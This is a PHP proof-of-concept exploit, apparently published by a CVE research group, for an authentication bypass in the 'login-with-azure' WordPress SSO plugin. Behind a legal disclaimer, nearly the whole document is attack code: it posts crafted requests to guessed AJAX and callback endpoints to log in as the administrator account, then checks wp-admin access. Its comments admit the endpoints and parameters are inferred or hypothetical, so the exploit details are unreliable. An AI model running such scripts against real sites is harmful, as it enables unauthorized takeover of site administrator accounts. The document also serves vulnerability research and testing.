CVE-2026-2628: All-in-One Microsoft 365 & Entra ID / Azure AD SSO Login <= 2.2.5 – Authentication Bypass (login-with-azure)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2628 - All-in-One Microsoft 365 & Entra ID / Azure AD SSO Login <= 2.2.5 - Authentication Bypass
<?php
/**
 * Proof of Concept for CVE-2026-2628.
 * This script attempts to exploit an authentication bypass in the login-with-azure plugin.
 * The exact endpoint and parameters are inferred from common plugin patterns.
 * Two likely attack vectors are tested: AJAX callback and direct file access.
 */

$target_url = 'http://target-site.com'; // CHANGE THIS

function poc_ajax_callback($url) {
    // Attempt 1: Exploit via admin-ajax.php callback handler.
    // Many SSO plugins use an AJAX action for the OAuth callback.
    $ajax_url = $url . '/wp-admin/admin-ajax.php';
    $params = [
        'action' => 'login_with_azure_callback', // Inferred common action name
        'user_id' => 1, // Attempt to set user ID to administrator (ID 1)
        'auth_bypass' => 'true' // Hypothetical parameter
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['method' => 'AJAX Callback', 'code' => $http_code, 'response' => substr($response, 0, 200)];
}

function poc_direct_file($url) {
    // Attempt 2: Exploit via direct plugin file access.
    // Some plugins have standalone callback files.
    $file_url = $url . '/wp-content/plugins/login-with-azure/includes/callback.php';
    $params = [
        'wp_user_id' => 1,
        'force_login' => 1
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $file_url . '?' . http_build_query($params));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['method' => 'Direct File', 'code' => $http_code, 'response' => substr($response, 0, 200)];
}

// Execute both attempts
$results = [];
$results[] = poc_ajax_callback($target_url);
$results[] = poc_direct_file($target_url);

// Check if we are logged in by accessing wp-admin profile page
$ch = curl_init($target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$admin_page = curl_exec($ch);
$admin_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if (strpos($admin_page, 'id="profile-page"') !== false || $admin_code == 200) {
    echo "[SUCCESS] Possible authentication bypass achieved. Admin page accessible.n";
} else {
    echo "[INFO] Exploit attempts completed. Verify manually.n";
}

print_r($results);
?>